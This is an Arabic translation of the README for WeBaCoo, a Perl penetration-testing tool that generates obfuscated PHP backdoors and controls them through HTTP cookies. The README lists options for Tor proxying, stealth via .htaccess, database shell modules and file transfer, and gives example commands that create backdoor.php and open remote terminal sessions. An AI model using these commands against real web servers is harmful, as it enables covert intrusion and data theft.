@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

| | | | | ___ \ / __ \
| | | | | |/ / __ | / / ___ ___
| |/| |/ _ \ ___ / ` | | / _ \ / _ \ \ /\ / __/ |/ / (| | _/\ () | (_) | / / __/ _,|_/_/ _/

 ويباكو - أداة الباب الخلفي عبر ملفات تعريف الارتباط

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

كتب بواسطة: Anestis Bechtsoudis @ bechtsoudis.com حقوق الطبع والنشر (C) 2011-2012 Anestis Bechtsoudis

إخلاء المسؤولية

الأداة مخصصة لأغراض الاختبار فقط ولا يمكن استخدامها إلا بموافقة صريحة. لا تستخدمها لأغراض غير قانونية.

الترخيص

أي تعديلات أو تغييرات أو تحويلات على هذا التطبيق مقبولة، ومع ذلك، يجب الموافقة على أي إصدارات عامة تستخدم هذا الكود من قبل منشئه. راجع ملف LICENSE لمزيد من المعلومات.

المتطلبات

• تثبيت perl
• liburi-perl
• libio-socket-socks-perl

إذا كنت لا ترغب في تثبيت "libio-socket-socks-perl" لميزة وكيل Tor، قم بتعليق السطر 25 في webacoo.pl

الاستخدام

webacoo.pl [options]

الخيارات: -g توليد كود الباب الخلفي (-o مطلوب)

-f FUNCTION دالة PHP النظامية المستخدمة FUNCTION 1: system (افتراضي) 2: shell_exec 3: exec 4: passthru 5: popen

-o OUTPUT اسم ملف الإخراج لكود الباب الخلفي المولد

-r إرجاع كود الباب الخلفي غير المُبهم

-t إنشاء اتصال "طرفية" عن بعد (-u مطلوب)

-u URL رابط الباب الخلفي

-e CMD وضع تنفيذ أمر واحد (-t و -u مطلوبان)

-m METHOD طريقة HTTP المستخدمة (افتراضي "GET")

-c C_NAME اسم ملف تعريف الارتباط (افتراضي: "M-cookie")

-d DELIM الفاصل (افتراضي: جديد عشوائي لكل طلب)

-a AGENT وكيل مستخدم في رأس HTTP (افتراضي موجود)

-p PROXY استخدام وكيل (tor, ip:port أو user:pass:ip:port)

-v LEVEL مستوى الإسهاب LEVEL 0: لا توجد معلومات إضافية (افتراضي) 1: طباعة رؤوس HTTP 2: طباعة رؤوس HTTP + البيانات

-l LOG تسجيل النشاط في ملف

-h عرض المساعدة والخروج

update التحقق من التحديثات وتطبيقها إن وجدت

وحدات التوسعة

منذ الإصدار 0.2.1، تمت إضافة دعم لوحدات التوسعة لتوفير وظائف إضافية لـ WeBaCoo. ضمن وضع الطرفية يمكنك تنفيذ 'load' لعرض الوحدات المتوفرة وتهيئة الوحدة المطلوبة من القائمة. بكتابة 'unload' يمكنك العودة إلى وضع الطرفية الأولي.

وحدات التوسعة المتوفرة: o mysql-cli وحدة سطر أوامر MySQL o psql-cli وحدة سطر أوامر Postgres o upload وحدة رفع الملفات باستخدام HTTP Post o download وحدة تنزيل الملفات باستخدام طباعة stdout عبر 'od' و 'xxd' o stealth وحدة زيادة التخفي عبر معالجة .htaccess

أمثلة

1. إنشاء باب خلفي مبهم 'backdoor.php' بالإعدادات الافتراضية ./webacoo.pl -g -o backdoor.php

2. إنشاء باب خلفي غير مبهم 'raw-backdoor.php' باستخدام دالة 'passthru' ./webacoo.pl -g -o raw-backdoor.php -f 4 -r

3. إنشاء اتصال "طرفية" مع المضيف البعيد باستخدام الإعداد الافتراضي ./webacoo.pl -t -u http://127.0.0.1/backdoor.php

4. إنشاء اتصال "طرفية" مع المضيف البعيد مع تعيين بعض الوسائط ./webacoo.pl -t -u http://127.0.0.1/backdoor.php -c "Test-Cookie" -d "TtT"

5. إنشاء اتصال "طرفية" مع المضيف البعيد عبر وكيل HTTP محلي ./webacoo.pl -t -u http://10.0.1.13/backdoor.php -p 127.0.0.1:8080

6. إنشاء اتصال "طرفية" مع المضيف البعيد عبر وكيل HTTP مع توثيق أساسي ./webacoo.pl -t -u http://10.0.1.13/backdoor.php -p user:password:10.0.1.8:3128

7. إنشاء اتصال "طرفية" مع المضيف البعيد عبر Tor وتسجيل النشاط ./webacoo.pl -t -u http://example.com/backdoor.php -p tor -l webacoo_log.txt